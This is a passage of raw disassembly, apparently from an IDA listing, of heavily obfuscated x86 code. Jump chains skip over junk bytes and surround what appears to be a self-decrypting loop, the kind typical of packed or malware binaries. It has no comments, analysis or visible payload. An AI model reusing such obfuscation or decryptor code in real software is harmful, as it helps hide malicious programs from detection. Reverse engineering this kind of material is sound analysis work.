318A1033h, 0A94709DDh, 0A4E92EF3h, 4214EC29h, 0A65E66FAh dd 61411FEFh, 0F6FE7EE3h, 0EE3A2483h, 0CABEF77h, 0E4416E5Fh dd 0A6C81B50h, 5ADDEF11h, 0D9AA4E7Dh, 3CC44CCh, 10C8F05Eh dd 518102h, 0B312239Bh, 790EF39Bh, 6CAD8440h, 0C8AADE4Ah dd 0B2ABE0AAh, 670C1612h, 0F7EB98Eh, 0A095F5B6h, 0D38A3D33h dd 43FE8CF2h, 446B4158h, 0C279477Eh, 0F7672E2h, 0B7D1BA80h dd 8203411Ch, 0B1BE5170h, 0FBC6012Fh, 0D0F68B4Dh, 0A9099320h dd 0DD93CE5Fh, 3924204Bh, 62D8ADFCh, 0E1EE194Eh, 6B70FE6Dh dd 6BB7EB1Fh, 81D81F8Bh, 0B0A2CB95h, 12F44F4Eh, 1A77D4B7h dd 203BFDF0h, 84D87CB9h, 6338727h, 3EC46B09h, 0ACD0D1FBh db 22h, 8Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 0D715F6E9h push eax dec eax jmp short loc_42A78F ; --------------------------------------------------------------------------- db 69h, 71h, 0D7h dd 0FC11A0E4h, 68E8B67Bh, 7B38CE33h, 0EDD86668h, 0A8FEC372h db 90h db 7Eh, 31h ; --------------------------------------------------------------------------- loc_42A78F: ; CODE XREF: DMN0:0042A773j cld jmp short loc_42A7AA ; --------------------------------------------------------------------------- dw 0EDF9h dd 18001A35h, 4FD1EE20h, 0D4669170h, 817FE0FFh, 89758920h ; --------------------------------------------------------------------------- inc ebp inc esi loc_42A7AA: ; CODE XREF: DMN0:0042A790j xchg ebx, esp jmp short loc_42A7BE ; --------------------------------------------------------------------------- dw 17D7h dd 1EE967A7h, 715FAC9Fh, 0FE3D97C8h db 0F3h, 56h ; --------------------------------------------------------------------------- loc_42A7BE: ; CODE XREF: DMN0:0042A7ACj clc jmp short loc_42A7E0 ; --------------------------------------------------------------------------- db 0FDh, 0CDh, 56h dd 85D8C57Ch, 47EE7750h, 0F99CE3A2h, 431F3A88h, 0D8803A07h dd 0FE131B4Bh, 5BD1989Ah ; --------------------------------------------------------------------------- loc_42A7E0: ; CODE XREF: DMN0:0042A7BFj xchg ecx, esi xchg eax, eax jmp short loc_42A7EF ; --------------------------------------------------------------------------- stosd cdq mov bl, 3Dh mov ds:0E3F27AA0h, eax loc_42A7EF: ; CODE XREF: DMN0:0042A7E4j jmp short loc_42A808 ; --------------------------------------------------------------------------- fxch4 st xchg eax, esi retn ; --------------------------------------------------------------------------- cli or edi, [esi-5189960Ch] sti imul ebx, [esi-6C1BE6ECh], -77h xchg eax, edx add [edi+ebx], dh loc_42A808: ; CODE XREF: DMN0:loc_42A7EFj jmp short loc_42A80D ; --------------------------------------------------------------------------- dw 833Fh db 0BFh ; --------------------------------------------------------------------------- loc_42A80D: ; CODE XREF: DMN0:loc_42A808j jmp short loc_42A82C ; --------------------------------------------------------------------------- mov ebp, 9329EA99h clc xchg eax, ecx adc al, 0D7h scasd mov eax, [eax+62BD9A72h] cwde test al, 0ECh cld mov edi, 0B0770249h pop ss xor al, [esi+67h] loc_42A82C: ; CODE XREF: DMN0:loc_42A80Dj mov esi, 31000h jmp short loc_42A83F ; --------------------------------------------------------------------------- db 6Fh dd 204C850Eh, 7BE2B587h ; --------------------------------------------------------------------------- ror esi, 64h loc_42A83F: ; CODE XREF: DMN0:0042A831j xchg ebx, esp jmp short loc_42A84F ; --------------------------------------------------------------------------- db 0E0h dd 87ED7C22h, 0F5281325h db 44h, 51h, 65h ; --------------------------------------------------------------------------- loc_42A84F: ; CODE XREF: DMN0:0042A841j stc jmp short loc_42A85C ; --------------------------------------------------------------------------- dw 0B968h dd 6DF7630h, 29307440h ; --------------------------------------------------------------------------- loc_42A85C: ; CODE XREF: DMN0:0042A850j jmp short loc_42A863 ; --------------------------------------------------------------------------- dw 0B29Fh db 0, 5Ah, 0EEh ; --------------------------------------------------------------------------- loc_42A863: ; CODE XREF: DMN0:loc_42A85Cj jmp short loc_42A872 ; --------------------------------------------------------------------------- mov esp, [ecx] xor al, 0ADh jbe short loc_42A8E0 or al, 0ADh pop ecx pusha sar byte ptr [ebx], 1 loc_42A872: ; CODE XREF: DMN0:loc_42A863j jmp short loc_42A885 ; --------------------------------------------------------------------------- dd 50BE695Ch, 22AA6222h, 4735CADDh, 6BA6C1F1h db 0D4h ; --------------------------------------------------------------------------- loc_42A885: ; CODE XREF: DMN0:loc_42A872j jmp short loc_42A89B ; --------------------------------------------------------------------------- db 45h dd 0D75BCDCDh, 0D93884Ch, 260C875h, 9CD781EDh db 51h, 5Ch, 33h ; --------------------------------------------------------------------------- loc_42A89B: ; CODE XREF: DMN0:loc_42A885j clc jmp short loc_42A8AE ; --------------------------------------------------------------------------- dw 7EFEh dd 58B3A1DEh, 5E19A74Ah, 0C68B2F24h db 0D3h, 6Eh ; --------------------------------------------------------------------------- loc_42A8AE: ; CODE XREF: DMN0:0042A89Cj mov edi, 5829h loc_42A8B3: ; CODE XREF: DMN0:0042AEDEj xchg esp, edi clc xchg ebx, ebx jmp short loc_42A8CA ; --------------------------------------------------------------------------- dw 439Ch dd 0D66469A1h, 0A6DB81B0h, 0F365B8D2h db 21h, 64h ; --------------------------------------------------------------------------- loc_42A8CA: ; CODE XREF: DMN0:0042A8B8j clc jmp short loc_42A8CE ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- loc_42A8CE: ; CODE XREF: DMN0:0042A8CBj jmp short loc_42A8DB ; --------------------------------------------------------------------------- dd 804ED142h, 8DD5252Fh db 0BAh, 79h, 18h ; --------------------------------------------------------------------------- loc_42A8DB: ; CODE XREF: DMN0:loc_42A8CEj jmp short loc_42A8F2 ; --------------------------------------------------------------------------- add cl, ah popa loc_42A8E0: ; CODE XREF: DMN0:0042A86Aj cmc or ebx, [bx+di] sbb ds:0B102626Bh, bl push edi cdq sub edx, [ecx] adc [eax-0Fh], al ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_42A8F2: ; CODE XREF: DMN0:loc_42A8DBj jmp short loc_42A8F7 ; --------------------------------------------------------------------------- db 84h, 0DAh, 15h ; --------------------------------------------------------------------------- loc_42A8F7: ; CODE XREF: DMN0:loc_42A8F2j jmp short loc_42A903 ; --------------------------------------------------------------------------- db 0Dh, 23h, 42h dd 0B9FEFBFAh db 64h, 13h, 0CCh ; --------------------------------------------------------------------------- loc_42A903: ; CODE XREF: DMN0:loc_42A8F7j jmp short loc_42A924 ; --------------------------------------------------------------------------- db 94h, 5Fh, 98h dd 9F3132BEh, 13869EB2h, 0DD0C1B23h, 483E6152h, 0E4A44839h dd 0CFA9B535h, 8D7A147Bh ; --------------------------------------------------------------------------- loc_42A924: ; CODE XREF: DMN0:loc_42A903j jmp short loc_42A92C ; --------------------------------------------------------------------------- dw 0DFABh ; --------------------------------------------------------------------------- mov cl, 0F5h xchg eax, esp xchg eax, edx loc_42A92C: ; CODE XREF: DMN0:loc_42A924j jmp short loc_42A93B ; --------------------------------------------------------------------------- dw 0D45h dd 0B0AE8B0Ch, 0A01B3911h ; --------------------------------------------------------------------------- sti xchg eax, esp push ecx loc_42A93B: ; CODE XREF: DMN0:loc_42A92Cj jmp short loc_42A948 ; --------------------------------------------------------------------------- db 98h, 75h, 0C3h dd 61B8D863h, 0AC4B8E6Eh ; --------------------------------------------------------------------------- loc_42A948: ; CODE XREF: DMN0:loc_42A93Bj jmp short loc_42A94B ; --------------------------------------------------------------------------- db 0D8h ; --------------------------------------------------------------------------- loc_42A94B: ; CODE XREF: DMN0:loc_42A948j mov ebx, esi jmp short loc_42A95C ; --------------------------------------------------------------------------- cld and [edi], esp sub bl, [edx] jmp dword ptr ds:0FEEFA03Ch ; --------------------------------------------------------------------------- dw 0D05Ch ; --------------------------------------------------------------------------- loc_42A95C: ; CODE XREF: DMN0:0042A94Dj jmp short loc_42A978 ; --------------------------------------------------------------------------- xchg eax, ecx inc ecx and esi, [ebp-7BF6AF6h] mov ebx, 18C0453Eh pop esi retf ; --------------------------------------------------------------------------- db 0B7h, 2Bh, 0F4h dd 3B5AAEDAh, 0B831E299h ; --------------------------------------------------------------------------- loc_42A978: ; CODE XREF: DMN0:loc_42A95Cj add ebx, ebp jmp short loc_42A985 ; --------------------------------------------------------------------------- dd 0C5463A43h, 0C5368540h ; --------------------------------------------------------------------------- xchg eax, ebx loc_42A985: ; CODE XREF: DMN0:0042A97Aj dec edx jmp short $+2 jmp short loc_42A9A0 ; --------------------------------------------------------------------------- dw 25F1h dd 3D6040BFh, 0AA7EF5DFh, 11073A4Ah, 0E05E939Fh, 85AB8BAAh ; --------------------------------------------------------------------------- loc_42A9A0: ; CODE XREF: DMN0:0042A988j xchg esi, esp loc_42A9A2: ; CODE XREF: DMN0:0042A9FFj mov eax, [ebx] jmp short loc_42A9B5 ; --------------------------------------------------------------------------- pop ss and eax, 0D10EBF09h jbe short near ptr loc_42A9AE+4 loc_42A9AE: ; CODE XREF: DMN0:0042A9ACj mov ebp, 2F75C057h adc eax, esp loc_42A9B5: ; CODE XREF: DMN0:0042A9A4j jmp short loc_42A9C4 ; --------------------------------------------------------------------------- db 0ADh dd 8F169879h, 69D3DC51h, 85620A56h ; --------------------------------------------------------------------------- loc_42A9C4: ; CODE XREF: DMN0:loc_42A9B5j jmp short loc_42A9DE ; --------------------------------------------------------------------------- dw 81DDh dd 791D3E4Ah, 5045A086h, 0DD77E7AEh, 0C1D08151h, 9D51A89Fh db 0EFh, 79h ; --------------------------------------------------------------------------- loc_42A9DE: ; CODE XREF: DMN0:loc_42A9C4j xchg eax, edx jmp short loc_42A9F1 ; --------------------------------------------------------------------------- dw 55DCh dd 1293E12Dh, 0D4ADF5A3h, 3F8578D8h ; --------------------------------------------------------------------------- icebp loc_42A9F1: ; CODE XREF: DMN0:0042A9E0j xor edx, [edi] jmp short loc_42AA01 ; --------------------------------------------------------------------------- mov bl, 2Eh push es add bh, [eax-3A442E81h] lodsb jno short loc_42A9A2 loc_42AA01: ; CODE XREF: DMN0:0042A9F3j jmp short loc_42AA05 ; --------------------------------------------------------------------------- db 0BDh ; --------------------------------------------------------------------------- dec edx loc_42AA05: ; CODE XREF: DMN0:loc_42AA01j xchg edx, [edi] jmp short $+2 jmp short loc_42AA15 ; --------------------------------------------------------------------------- db 72h dd 178C7E93h, 874578F6h ; --------------------------------------------------------------------------- inc esi loc_42AA15: ; CODE XREF: DMN0:0042AA09j jmp short loc_42AA2E ; --------------------------------------------------------------------------- xchg eax, edx retn 2EB6h ; --------------------------------------------------------------------------- db 8Ch dd 27813D6Dh, 0E8094F2Eh, 0AE60F84Ah, 0B51CBBCh db 6Fh, 0Fh ; --------------------------------------------------------------------------- loc_42AA2E: ; CODE XREF: DMN0:loc_42AA15j jmp short loc_42AA3C ; --------------------------------------------------------------------------- dd 0B8A03D44h, 542F8F2Ah, 0CD7DD0AEh ; --------------------------------------------------------------------------- loc_42AA3C: ; CODE XREF: DMN0:loc_42AA2Ej jmp short loc_42AA3F ; --------------------------------------------------------------------------- cmpsd loc_42AA3F: ; CODE XREF: DMN0:loc_42AA3Cj test ebx, 0D87095D3h xchg ebx, esi xchg esi, esp jmp short loc_42AA5F ; --------------------------------------------------------------------------- db 12h dd 0F27BD5D2h, 0ABABDFD8h, 19A2DDC1h, 0CB10ACF3h db 66h, 1Eh, 14h ; --------------------------------------------------------------------------- loc_42AA5F: ; CODE XREF: DMN0:0042AA49j jmp short loc_42AA70 ; --------------------------------------------------------------------------- db 0EFh, 0E5h, 5Fh dd 0B67FC529h, 46B1A691h, 50E7BA92h ; --------------------------------------------------------------------------- loc_42AA70: ; CODE XREF: DMN0:loc_42AA5Fj clc xchg esp, ebx sub edx, 0BD1622h jmp short loc_42AA85 ; --------------------------------------------------------------------------- db 75h dd 0AF59565Bh, 991206E7h ; --------------------------------------------------------------------------- pop ebp loc_42AA85: ; CODE XREF: DMN0:0042AA79j jmp short loc_42AAA6 ; --------------------------------------------------------------------------- db 61h dd 34122341h, 8BA3F7AAh, 7432B25Ch, 0C558D1E9h, 0E1D5BA61h dd 0F3AF25DDh, 0BEBCE104h db 0F7h, 9 ; --------------------------------------------------------------------------- loc_42AAA6: ; CODE XREF: DMN0:loc_42AA85j xchg ebx, ebp inc ebp jmp short loc_42AAAC ; --------------------------------------------------------------------------- daa loc_42AAAC: ; CODE XREF: DMN0:0042AAA9j jmp short loc_42AAC5 ; --------------------------------------------------------------------------- dw 7F1Eh dd 8E0D34C0h, 23E69777h, 0C505FDC8h, 0B404FE2h, 4508666h db 0F7h ; --------------------------------------------------------------------------- loc_42AAC5: ; CODE XREF: DMN0:loc_42AAACj jmp short loc_42AAD6 ; --------------------------------------------------------------------------- db 56h dd 0B746FB9Ch, 9F2C338Ah, 0BD755CF0h ; --------------------------------------------------------------------------- xchg ebp, [ecx] loc_42AAD6: ; CODE XREF: DMN0:loc_42AAC5j xchg ebp, edx stc rol eax, cl rol ebp, 1 jmp short loc_42AAE0 ; --------------------------------------------------------------------------- push ebx loc_42AAE0: ; CODE XREF: DMN0:0042AADDj jmp short loc_42AAFE ; --------------------------------------------------------------------------- dw 402Dh ; --------------------------------------------------------------------------- inc edx pop eax and cl, [edi-73D038DAh] jmp fword ptr [edi] ; --------------------------------------------------------------------------- dw 1CB5h dd 0A973E420h, 0E7658A50h, 63F38F1Ah ; --------------------------------------------------------------------------- add al, 0F0h loc_42AAFE: ; CODE XREF: DMN0:loc_42AAE0j jmp short loc_42AB1A ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 9Ah, 96h, 76h dd 1951E080h, 0A4E0B128h, 6D59DE26h, 0EF75840Fh, 0FA2C1243h db 0EFh, 9Ch ; --------------------------------------------------------------------------- loc_42AB1A: ; CODE XREF: DMN0:loc_42AAFEj xchg ebp, [edi] neg eax xor edx, 0CDD9CE8Ch jmp short loc_42AB38 ; --------------------------------------------------------------------------- dw 0E444h dd 5EC4B669h, 0D8761826h, 5FDAF5F9h, 6B356231h ; --------------------------------------------------------------------------- loc_42AB38: ; CODE XREF: DMN0:0042AB24j jmp short loc_42AB45 ; --------------------------------------------------------------------------- dw 8244h dd 814BAF68h, 0AE735579h db 0A8h ; --------------------------------------------------------------------------- loc_42AB45: ; CODE XREF: DMN0:loc_42AB38j cmc jmp short loc_42AB65 ; --------------------------------------------------------------------------- dd 9C8E887h, 3220E8A5h, 70BAA589h, 0C0611A0Ah, 0E8861C9Eh dd 801B4D8Fh, 20C222B0h db 0DAh ; --------------------------------------------------------------------------- loc_42AB65: ; CODE XREF: DMN0:0042AB46j stc jmp short loc_42AB69 ; --------------------------------------------------------------------------- db 3Ch ; --------------------------------------------------------------------------- loc_42AB69: ; CODE XREF: DMN0:0042AB66j cld jmp short loc_42AB70 ; --------------------------------------------------------------------------- dd 17877B9Ah ; --------------------------------------------------------------------------- loc_42AB70: ; CODE XREF: DMN0:0042AB6Aj xchg esi, edx xchg esp, esp mov eax, edx test ecx, 208F99E2h jmp short loc_42AB99 ; --------------------------------------------------------------------------- dw 0DAFAh dd 2133EAE5h, 0F20F1E04h, 60AB9230h, 4E7D107Dh, 1E40ABFCh dd 9BD56A5Eh db 0DDh ; --------------------------------------------------------------------------- loc_42AB99: ; CODE XREF: DMN0:0042AB7Cj jmp short loc_42ABA4 ; --------------------------------------------------------------------------- db 0CDh dd 534E8E44h, 0D32F0739h ; --------------------------------------------------------------------------- loc_42ABA4: ; CODE XREF: DMN0:loc_42AB99j jmp short loc_42ABC1 ; --------------------------------------------------------------------------- dw 0D5CDh dd 4112E600h, 6DE1B21Eh, 0D6809B49h, 0E1B047C1h, 0B0BBC562h dd 64ECBD38h db 71h ; --------------------------------------------------------------------------- loc_42ABC1: ; CODE XREF: DMN0:loc_42ABA4j jmp short loc_42ABCE ; --------------------------------------------------------------------------- db 8 dd 513B9186h, 85062328h db 0B8h, 6 ; --------------------------------------------------------------------------- loc_42ABCE: ; CODE XREF: DMN0:loc_42ABC1j jmp short loc_42ABE5 ; --------------------------------------------------------------------------- dd 0C39785ABh, 2E3ADCC0h, 4DD7CE31h, 0E3AC134Ch, 99CB359Fh db 0Bh ; --------------------------------------------------------------------------- loc_42ABE5: ; CODE XREF: DMN0:loc_42ABCEj jmp short loc_42ABEB ; --------------------------------------------------------------------------- db 0B2h db 0CDh, 16h, 8Fh ; --------------------------------------------------------------------------- loc_42ABEB: ; CODE XREF: DMN0:loc_42ABE5j jmp short loc_42ABF9 ; --------------------------------------------------------------------------- db 0C9h, 0EFh, 64h dd 4FC3131Eh, 4E2F107h db 0C5h ; --------------------------------------------------------------------------- loc_42ABF9: ; CODE XREF: DMN0:loc_42ABEBj jmp short loc_42AC02 ; --------------------------------------------------------------------------- db 0F4h dd 38F03C8Fh ; --------------------------------------------------------------------------- wait dec edx loc_42AC02: ; CODE XREF: DMN0:loc_42ABF9j jmp short loc_42AC10 ; --------------------------------------------------------------------------- aad 52h push cs mov ebp, 20AA2B2Ch xchg eax, ebx mov bh, 0B7h push ss loc_42AC10: ; CODE XREF: DMN0:loc_42AC02j jmp short loc_42AC30 ; --------------------------------------------------------------------------- dw 647Bh dd 90E781A4h, 4A7519F8h, 0E7132187h, 0F3F48830h, 0C27A4B02h dd 0B2128DF4h, 0E5139172h ; --------------------------------------------------------------------------- loc_42AC30: ; CODE XREF: DMN0:loc_42AC10j add eax, ebx jmp short loc_42AC3C ; --------------------------------------------------------------------------- cmc pop ss retn ; --------------------------------------------------------------------------- db 0F8h db 0CCh db 0A8h, 0A5h, 3Eh ; --------------------------------------------------------------------------- loc_42AC3C: ; CODE XREF: DMN0:0042AC32j jmp short loc_42AC4F ; --------------------------------------------------------------------------- dw 42CEh dd 6D927BFAh, 0DDF602D4h, 0B05A9028h db 7Eh, 7Fh, 0D4h ; --------------------------------------------------------------------------- loc_42AC4F: ; CODE XREF: DMN0:loc_42AC3Cj xchg ecx, ebx jmp short loc_42AC6B ; --------------------------------------------------------------------------- db 0B5h dd 0B9890627h, 0A83B722Fh, 0B61503B4h, 0AC0CE2EDh, 3CF8E814h db 0E8h, 0A4h, 0D5h ; --------------------------------------------------------------------------- loc_42AC6B: ; CODE XREF: DMN0:0042AC51j xor esi, 3BCBA576h xchg eax, ebx xchg ecx, eax jmp short loc_42AC96 ; --------------------------------------------------------------------------- db 0Eh dd 0EE527746h, 80ABC8DEh, 5F67AB7Bh, 55C415CFh, 71F3EA5Bh dd 510F2D4Ch, 2DC626FFh db 69h, 0FAh ; --------------------------------------------------------------------------- loc_42AC96: ; CODE XREF: DMN0:0042AC75j mov [ebx], ebp jmp short loc_42ACB9 ; --------------------------------------------------------------------------- dw 0FE9h ; --------------------------------------------------------------------------- retn 6110h ; --------------------------------------------------------------------------- pusha cmpsb mov edi, 4764FBF9h mov cl, 0F7h jmp dword ptr ds:13B37470h ; --------------------------------------------------------------------------- dw 0DAF2h ; --------------------------------------------------------------------------- idiv eax lea eax, ds:761B6EA5h[ebp*4] loc_42ACB9: ; CODE XREF: DMN0:0042AC98j jmp short loc_42ACC0 ; --------------------------------------------------------------------------- db 1Bh dd 541B332h ; --------------------------------------------------------------------------- loc_42ACC0: ; CODE XREF: DMN0:loc_42ACB9j jmp short loc_42ACD5 ; --------------------------------------------------------------------------- dw 318Ah dd 827DACF5h, 0A8D3A78Bh, 72843AABh, 475707ABh db 0C6h ; --------------------------------------------------------------------------- loc_42ACD5: ; CODE XREF: DMN0:loc_42ACC0j xchg ecx, ebp jmp short loc_42ACF8 ; --------------------------------------------------------------------------- db 0C1h, 4Eh, 17h dd 957A7C68h, 12F076F4h, 2D358D4Eh, 0AC410888h, 759D45B7h dd 574B9D75h, 0E75C8894h ; --------------------------------------------------------------------------- loc_42ACF8: ; CODE XREF: DMN0:0042ACD7j xchg ecx, esp xchg esi, esi jmp short loc_42AD15 ; --------------------------------------------------------------------------- dw 5515h dd 782FD644h, 89A9FE5Ah, 4AC10588h, 0E1E1CC5h, 656CFF43h db 0B3h ; --------------------------------------------------------------------------- loc_42AD15: ; CODE XREF: DMN0:0042ACFCj jmp short loc_42AD33 ; --------------------------------------------------------------------------- db 61h dd 0A9E2997Dh, 0CFEF0795h, 47485B15h, 99EA9ACAh, 80A2BFA5h dd 7CFC1AFh ; --------------------------------------------------------------------------- sbb [edx+0Bh], dl loc_42AD33: ; CODE XREF: DMN0:loc_42AD15j cmc add edx, 2 jmp short loc_42AD44 ; --------------------------------------------------------------------------- db 0B2h, 89h, 0E9h dd 0E1308479h, 5E2F3635h ; --------------------------------------------------------------------------- loc_42AD44: ; CODE XREF: DMN0:0042AD37j jmp short loc_42AD56 ; --------------------------------------------------------------------------- dw 0A745h dd 122B4F85h, 0C94AC33h, 0EEC6C11Ah db 89h, 90h ; --------------------------------------------------------------------------- loc_42AD56: ; CODE XREF: DMN0:loc_42AD44j clc jmp short loc_42AD67 ; --------------------------------------------------------------------------- db 4, 0D9h, 0BEh dd 0BCC01129h, 982DDD3Eh db 8Bh, 4Ch, 6Bh ; --------------------------------------------------------------------------- loc_42AD67: ; CODE XREF: DMN0:0042AD57j jmp short loc_42AD78 ; --------------------------------------------------------------------------- align 2 dw 9471h dd 0E538D6B4h, 0DBDBB0F4h, 989CED9Fh ; --------------------------------------------------------------------------- loc_42AD78: ; CODE XREF: DMN0:loc_42AD67j xchg eax, edi jmp short loc_42AD7F ; --------------------------------------------------------------------------- add esi, [esi-70h] loc_42AD7F: ; CODE XREF: DMN0:0042AD7Aj jmp short loc_42AD86 ; --------------------------------------------------------------------------- db 5Dh, 0E7h, 8Ch db 0BFh, 0C9h ; --------------------------------------------------------------------------- loc_42AD86: ; CODE XREF: DMN0:loc_42AD7Fj add edx, 1 inc ebp stc jmp short loc_42AD92 ; --------------------------------------------------------------------------- movsd ror byte ptr [esi-30h], 1 push esp loc_42AD92: ; CODE XREF: DMN0:0042AD8Bj xchg edi, esp clc xchg edi, ebp xchg ecx, eax jmp short loc_42ADAB ; --------------------------------------------------------------------------- db 64h dd 587E7F56h, 1E0B6990h, 99EFFACh db 55h, 0A9h, 7Ch ; --------------------------------------------------------------------------- loc_42ADAB: ; CODE XREF: DMN0:0042AD99j xchg esi, ebx jmp short loc_42ADB3 ; --------------------------------------------------------------------------- inc edi ficom word ptr [ebp-7Ah] loc_42ADB3: ; CODE XREF: DMN0:0042ADADj stc jmp short loc_42ADD4 ; --------------------------------------------------------------------------- dw 1957h dd 5978AE09h, 20C6A01h, 0C98CD2ADh, 7DF7DA2Fh, 0DD0E5EB8h dd 2D28E71Dh, 8F748BAh ; --------------------------------------------------------------------------- loc_42ADD4: ; CODE XREF: DMN0:0042ADB4j not ebp stc jmp short loc_42ADEA ; --------------------------------------------------------------------------- db 0A0h, 13h, 0C9h dd 6FE0910Ah, 0FA5E8B83h, 5325C7D4h db 0F9h, 6Fh ; --------------------------------------------------------------------------- loc_42ADEA: ; CODE XREF: DMN0:0042ADD7j inc edx jmp short loc_42ADFC ; --------------------------------------------------------------------------- add ah, ch enter 292Dh, 80h fnstcw word ptr [edi+0B29ADA4h] xor edi, edi dec esi loc_42ADFC: ; CODE XREF: DMN0:0042ADEBj xchg edx, ebx jmp short loc_42AE0C ; --------------------------------------------------------------------------- dec esi retf 1204h ; --------------------------------------------------------------------------- dd 35E12C8Fh, 0E168B66h ; --------------------------------------------------------------------------- loc_42AE0C: ; CODE XREF: DMN0:0042ADFEj std bswap edi jmp short loc_42AE13 ; --------------------------------------------------------------------------- sbb al, ch loc_42AE13: ; CODE XREF: DMN0:0042AE0Fj jmp short loc_42AE1D ; --------------------------------------------------------------------------- db 6Bh, 0EBh, 7Eh dd 39E0B4E6h db 0E2h ; --------------------------------------------------------------------------- loc_42AE1D: ; CODE XREF: DMN0:loc_42AE13j jmp short loc_42AE32 ; --------------------------------------------------------------------------- db 8 dd 3D12BE74h, 763EC65Eh, 5005BCA9h, 47A67677h db 49h, 0 ; --------------------------------------------------------------------------- loc_42AE32: ; CODE XREF: DMN0:loc_42AE1Dj jmp short loc_42AE3F ; --------------------------------------------------------------------------- dd 99622019h, 0F2961CAAh db 57h, 63h, 0C5h ; --------------------------------------------------------------------------- loc_42AE3F: ; CODE XREF: DMN0:loc_42AE32j xchg eax, ebp jmp short loc_42AE58 ; --------------------------------------------------------------------------- db 6Dh dd 0F872D1C1h, 9F117069h, 73348E3Bh, 0C9CE63D4h, 0E9E811D1h ; --------------------------------------------------------------------------- loc_42AE58: ; CODE XREF: DMN0:0042AE41j xchg esi, ebp jmp short loc_42AE67 ; --------------------------------------------------------------------------- dd 0E4C80DDh, 0B2A45532h db 0E2h, 13h, 0B9h ; --------------------------------------------------------------------------- loc_42AE67: ; CODE XREF: DMN0:0042AE5Aj bswap eax dec esi jz short loc_42AEE3 xchg ebx, ebx xchg esi, ebx neg eax jmp short loc_42AE8B ; --------------------------------------------------------------------------- dd 612A8AC0h, 69CC3E42h, 49137A6Ch, 0BA225A70h, 1F4B88D9h db 0B9h, 37h, 0A5h ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: DMN0:0042AE72j xchg edi, ebx std jmp short loc_42AE93 ; --------------------------------------------------------------------------- db 3Fh, 0C8h, 3Bh ; --------------------------------------------------------------------------- loc_42AE93: ; CODE XREF: DMN0:0042AE8Ej jmp short loc_42AE96 ; --------------------------------------------------------------------------- push esi loc_42AE96: ; CODE XREF: DMN0:loc_42AE93j jmp short loc_42AE9B ; --------------------------------------------------------------------------- db 0D1h, 0C3h, 0B9h ; --------------------------------------------------------------------------- loc_42AE9B: ; CODE XREF: DMN0:loc_42AE96j xchg ebp, esp jmp short loc_42AEA1 ; --------------------------------------------------------------------------- db 0F4h db 63h ; --------------------------------------------------------------------------- loc_42AEA1: ; CODE XREF: DMN0:0042AE9Dj jmp short loc_42AEBB ; --------------------------------------------------------------------------- db 34h dd 76772B28h, 0A5D1B802h, 0F733AC12h, 26F13F86h, 0B5A4E1A6h db 0C7h, 0F1h, 5Bh ; --------------------------------------------------------------------------- loc_42AEBB: ; CODE XREF: DMN0:loc_42AEA1j jmp short $+2 jmp short loc_42AEDC ; --------------------------------------------------------------------------- db 0B3h dd 55BED291h, 70814940h, 8F931328h, 0BF7B3D6h, 0E3673EF2h dd 2EBBDD38h, 0B95B6D61h ; --------------------------------------------------------------------------- loc_42AEDC: ; CODE XREF: DMN0:0042AEBDj xchg esp, ecx jmp loc_42A8B3 ; --------------------------------------------------------------------------- loc_42AEE3: ; CODE XREF: DMN0:0042AE6Aj xchg ebp, esp xchg esp, ecx bswap edx jmp short loc_42AEF6 ; --------------------------------------------------------------------------- db 0Bh dd 803645BFh, 9494B1BFh db 50h, 0BFh ; --------------------------------------------------------------------------- loc_42AEF6: ; CODE XREF: DMN0:0042AEE9j jmp short loc_42AF17 ; --------------------------------------------------------------------------- dd 0C3634075h, 85A14CE4h, 0AA4EA0B6h, 5FB15A56h, 987F0F58h dd 797A28B1h, 984CED57h db 0B8h, 66h, 52h ; --------------------------------------------------------------------------- loc_42AF17: ; CODE XREF: DMN0:loc_42AEF6j inc edx cld jmp short loc_42AF1E ; --------------------------------------------------------------------------- pop edi push ebp daa loc_42AF1E: ; CODE XREF: DMN0:0042AF19j jmp short loc_42AF39 ; --------------------------------------------------------------------------- dd 0DE62EA07h, 0B61E1592h, 0FCC1868Ch, 0CDFA0062h, 4FEC12DBh dd 9167279Ch db 7Ch ; --------------------------------------------------------------------------- loc_42AF39: ; CODE XREF: DMN0:loc_42AF1Ej jmp short loc_42AF46 ; --------------------------------------------------------------------------- db 0C0h dd 0DE2A3456h, 3ECFE28Fh db 7Dh, 80h ; --------------------------------------------------------------------------- loc_42AF46: ; CODE XREF: DMN0:loc_42AF39j jmp short loc_42AF65 ; --------------------------------------------------------------------------- dd 6A3DC1AAh, 0C7B2CE2Dh, 0DA62A14Fh, 0BA014437h, 312B59C6h dd 757CF078h, 15F5B1B5h db 78h ; --------------------------------------------------------------------------- loc_42AF65: ; CODE XREF: DMN0:loc_42AF46j jmp short loc_42AF85 ; --------------------------------------------------------------------------- db 7Ch dd 3D7E584Ch, 2A15F6ACh, 629A9786h, 5FB76717h, 482970B9h dd 0EE3FABD9h, 93ACF719h db 0DFh ; --------------------------------------------------------------------------- loc_42AF85: ; CODE XREF: DMN0:loc_42AF65j jmp short loc_42AF8E ; --------------------------------------------------------------------------- db 16h dd 0B09D5E14h db 99h, 0Dh ; --------------------------------------------------------------------------- loc_42AF8E: ; CODE XREF: DMN0:loc_42AF85j cld jmp short loc_42AF9B ; --------------------------------------------------------------------------- db 2Ch, 6Ah, 0D3h dd 90D2E1CEh db 62h, 0D9h, 5Bh ; --------------------------------------------------------------------------- loc_42AF9B: ; CODE XREF: DMN0:0042AF8Fj pop edx add edx, 0DE8EBF51h jmp short loc_42AFAF ; --------------------------------------------------------------------------- dd 71632706h, 0CA8F0301h ; --------------------------------------------------------------------------- inc esi fstp dword ptr [esi] loc_42AFAF: ; CODE XREF: DMN0:0042AFA2j jmp short loc_42AFB2 ; --------------------------------------------------------------------------- cmpsd loc_42AFB2: ; CODE XREF: DMN0:loc_42AFAFj jmp short loc_42AFC1 ; --------------------------------------------------------------------------- dd 568533B1h, 0BB87A078h, 0C4F8B154h db 0B7h ; --------------------------------------------------------------------------- loc_42AFC1: ; CODE XREF: DMN0:loc_42AFB2j jmp short loc_42AFD5 ; --------------------------------------------------------------------------- db 0F2h dd 0ECA31553h, 13FFF015h, 94B46419h, 0A6323D8Eh db 21h ; --------------------------------------------------------------------------- loc_42AFD5: ; CODE XREF: DMN0:loc_42AFC1j jmp short loc_42AFE6 ; --------------------------------------------------------------------------- db 7Ch dd 